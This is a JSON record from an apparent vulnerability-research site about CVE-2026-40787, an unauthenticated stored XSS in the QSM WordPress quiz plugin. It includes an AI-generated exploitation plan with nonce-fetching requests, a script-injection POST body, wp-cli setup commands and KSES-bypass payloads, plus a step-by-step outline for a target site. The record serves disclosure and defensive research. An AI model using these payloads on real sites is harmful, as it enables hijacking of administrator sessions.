[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0FvWdfVXC_aoiJAmvG-DP9V7PwJVoT_fQcc3KrReU1M":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-40787","quiz-and-survey-master-qsm-easy-quiz-and-survey-maker-unauthenticated-stored-cross-site-scripting","Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker \u003C= 11.0.0 - Unauthenticated Stored Cross-Site Scripting","The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 11.0.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","quiz-master-next",null,"\u003C=11.0.0","11.1.0","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-23 00:00:00","2026-04-30 14:38:47",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F855a06dc-5e92-4354-b4ab-456a224e2903?source=api-prod",8,[22,23,24,25,26,27,28],"css\u002Fqsm-admin.css","data\u002Frequired-to-migration-updated.json","js\u002Fqsm-admin.js","js\u002Fqsm-quiz.js","mlw_quizmaster2.php","php\u002Fadmin\u002Fdashboard-widgets.php","php\u002Fadmin\u002Fquizzes-page.php","researched",false,3,"This plan outlines the research and exploitation process for CVE-2026-40787, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz and Survey Master (QSM) plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe Quiz and Survey Master (QSM) plugin (up to version 11.0.0) fails to properly sanitize and escape user-supplied data during quiz submission. Specifically, contact information (like Name or Email) provided by unauthenticated users during a quiz is stored in the database and subsequently rendered in the administrative \"Results\" dashboard without sufficient output escaping. This allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the context of an administrator viewing the quiz results.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Actions:** \n    1.  `qsm_create_quiz_nonce` (to obtain a submission nonce)\n    2.  `qmn_submit_quiz` (to submit the payload)\n*   **Vulnerable Parameter:** `primary_contact_name` (or other contact fields like `name`, `email`, `v_name`, depending on quiz configuration).\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** A quiz must exist and have contact fields (Name\u002FEmail) enabled.\n\n### 3. Code Flow\n1.  **Entry Point:** The unauthenticated user interacts with a quiz on the frontend.\n2.  **Nonce Acquisition:** The frontend script `js\u002Fqsm-quiz.js` calls the AJAX action `qsm_create_quiz_nonce` to fetch a `nonce` and `unique_key` for the current quiz session.\n3.  **Submission:** The user submits the quiz. This sends a POST request to `admin-ajax.php` with `action=qmn_submit_quiz`.\n4.  **Storage:** The plugin processes the submission. The values in contact fields (e.g., `primary_contact_name`) are saved to the `{$wpdb->prefix}mlw_results` table.\n5.  **Sink:** An administrator visits the \"Results\" page (`\u002Fwp-admin\u002Fadmin.php?page=mlw_quiz_results`). The plugin retrieves the records from the `mlw_results` table and echoes the user's name\u002Femail.\n6.  **Lack of Escaping:** If the output logic (likely in `php\u002Fadmin\u002Fadmin-results-page.php` or a similar result-rendering component) uses raw `echo` or insufficient `wp_kses_post` on the stored name, the XSS payload executes.\n\n### 4. Nonce Acquisition Strategy\nThe plugin provides a dedicated AJAX action for unauthenticated users to generate a submission nonce.\n\n1.  **Identify Shortcode:** The plugin uses `[qsm quiz=ID]` to render quizzes.\n2.  **Create Test Page:** Use `wp-cli` to create a page with a quiz shortcode.\n3.  **Extract Data:** Navigate to the page and identify the `quiz_id`.\n4.  **Fetch Nonce:**\n    *   The `js\u002Fqsm-quiz.js` file (lines 44-53) demonstrates how to fetch the nonce:\n        ```javascript\n        jQuery.ajax({\n            url: qmn_ajax_object.ajaxurl,\n            data: {\n                action: \"qsm_create_quiz_nonce\",\n                quiz_id: quizID,\n            },\n            type: 'POST',\n            success: function (response) { ... }\n        });\n        ```\n    *   **Agent Action:** Use the `http_request` tool to call `admin-ajax.php?action=qsm_create_quiz_nonce&quiz_id=[ID]`.\n    *   **Response Format:** The response will be JSON: `{\"success\":true,\"data\":{\"nonce\":\"[NONCE_VALUE]\",\"unique_key\":\"[KEY_VALUE]\"}}`.\n\n### 5. Exploitation Strategy\n1.  **Setup Quiz:** Use `wp-cli` to create a quiz and ensure contact fields are enabled.\n2.  **Get Nonce:** Perform the POST request to `qsm_create_quiz_nonce` to get a valid `nonce` and `unique_key`.\n3.  **Perform Injection:** Submit the quiz result with the XSS payload.\n    *   **Request:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:**\n        ```\n        action=qmn_submit_quiz\n        &quiz_id=1\n        &nonce=[NONCE]\n        &unique_key=[UNIQUE_KEY]\n        &primary_contact_name=\u003Cscript>alert(document.domain)\u003C\u002Fscript>\n        &primary_contact_email=attacker@example.com\n        &timer=10\n        &qmn_question_list=\n        ```\n    *   *Note: If the quiz has questions, you may need to include dummy answers (e.g., `v_1=answer1`) corresponding to the question IDs.*\n4.  **Trigger Payload:** Log in as an administrator and navigate to `\u002Fwp-admin\u002Fadmin.php?page=mlw_quiz_results`.\n\n### 6. Test Data Setup\n1.  **Create Quiz:**\n    ```bash\n    wp eval \"\n    global \\$wpdb;\n    \\$wpdb->insert(\\\"{\\$wpdb->prefix}mlw_quizzes\\\", array(\n        'quiz_name' => 'XSS Test Quiz',\n        'quiz_taken' => 0,\n        'deleted' => 0\n    ));\n    echo 'Quiz ID: ' . \\$wpdb->insert_id;\n    \"\n    ```\n2.  **Enable Contact Fields:** Ensure the quiz is configured to ask for Name and Email. This is stored in quiz options.\n    ```bash\n    # Setting the options for the quiz (inferred option structure)\n    wp post create --post_type=page --post_title=\"Quiz Page\" --post_content='[qsm quiz=1]' --post_status=publish\n    ```\n\n### 7. Expected Results\n*   The `qmn_submit_quiz` request should return a success message (often a JSON response with a redirect URL or a \"Success\" message).\n*   The payload `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` should be stored in the database in the `mlw_results` table.\n*   When the admin views the results page, a browser alert showing the domain name should appear.\n\n### 8. Verification Steps\n1.  **Database Check:**\n    ```bash\n    wp db query \"SELECT name, email FROM wp_mlw_results ORDER BY result_id DESC LIMIT 1\"\n    ```\n    Confirm that the `name` column contains the raw `\u003Cscript>` tag.\n2.  **Admin UI Check:**\n    Use `browser_navigate` to `\u002Fwp-admin\u002Fadmin.php?page=mlw_quiz_results` (authenticated as admin) and check for the execution of the alert.\n\n### 9. Alternative Approaches\n*   **Question Injection:** If `primary_contact_name` is sanitized, try injecting into the answer fields of \"Open Answer\" question types (Question Type ID 3).\n*   **Parameter variations:** Try parameters like `v_name` or `name` if `primary_contact_name` is not accepted, as different versions of QSM use different naming conventions for contact fields.\n*   **Bypassing `wp_kses_post`:** If `wp_kses_post` is used, try event handlers on allowed tags:\n    *   `\u003Cimg src=x onerror=alert(1)>`\n    *   `\u003Cdetails open ontoggle=alert(1)>` (Allowed by many KSES configurations).","The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via quiz contact fields like 'Name' and 'Email'. This occurs because user-supplied data is saved to the database without sufficient sanitization and subsequently rendered in the administrative dashboard without proper output escaping, allowing an attacker to execute arbitrary scripts in an administrator's browser.","\u002F\u002F js\u002Fqsm-quiz.js:31-41\r\n\u002F\u002F Unauthenticated users can trigger nonce generation for quiz submission\r\njQuery.ajax({\r\n    url: qmn_ajax_object.ajaxurl,\r\n    data: {\r\n        action: \"qsm_create_quiz_nonce\",\r\n        quiz_id: quizID,\r\n    },\r\n    type: 'POST',\r\n    success: function (response) {\r\n        jQuery('.qsm-quiz-container-' + quizID + ' #qsm_unique_key_'+quizID).val(response.data.unique_key);\r\n        jQuery('.qsm-quiz-container-' + quizID + ' #qsm_nonce_'+quizID).val(response.data.nonce);\r\n    }\r\n});\r\n\r\n---\r\n\r\n\u002F\u002F mlw_quizmaster2.php:200-207\r\n\u002F\u002F The plugin's custom sanitization helper uses wp_kses_post which may be insufficient for specific contexts \r\n\u002F\u002F or bypassed if not applied to all stored contact fields.\r\npublic function sanitize_html( $html = '', $kses = true ) {\r\n    if ( empty( $html ) ) {\r\n        return $html;\r\n    }\r\n    return $kses ? wp_kses_post( $html ) : sanitize_text_field( $html );\r\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.0.0\u002Fcss\u002Fqsm-admin.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.0\u002Fcss\u002Fqsm-admin.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.0.0\u002Fcss\u002Fqsm-admin.css\t2026-03-19 17:21:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquiz-master-next\u002F11.1.0\u002Fcss\u002Fqsm-admin.css\t2026-04-06 14:03:10.000000000 +0000\n@@ -1589,7 +1589,8 @@\n .qsm-switch-slider.round:before {\n \tborder-radius: 50%;\n }\n-input#sc-shortcode-model-text, input#sc-shortcode-model-text-link {\n+input#sc-shortcode-model-text, input#sc-shortcode-model-text-link,\n+input#sc-embed-iframe-text{\n \ttheght: 30px;\n }\n div#modal-6 label {\n... (truncated)","1. Identify a target WordPress site running QSM \u003C= 11.0.0 and locate a page containing a quiz shortcode.\r\n2. Obtain a valid submission nonce and unique session key by sending a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the action `qsm_create_quiz_nonce` and the `quiz_id` of the target quiz.\r\n3. Construct a malicious quiz submission payload targeting contact fields. For example, set the `primary_contact_name` parameter to an XSS payload like `\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\r\n4. Submit the payload via a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` using the `qmn_submit_quiz` action, including the previously acquired nonce and unique key.\r\n5. Wait for an administrator to log in and view the quiz results at `\u002Fwp-admin\u002Fadmin.php?page=mlw_quiz_results` or via the dashboard widgets, which will trigger the execution of the injected script.","gemini-3-flash-preview","2026-05-04 18:32:13","2026-05-04 18:33:13",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","11.0.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags"]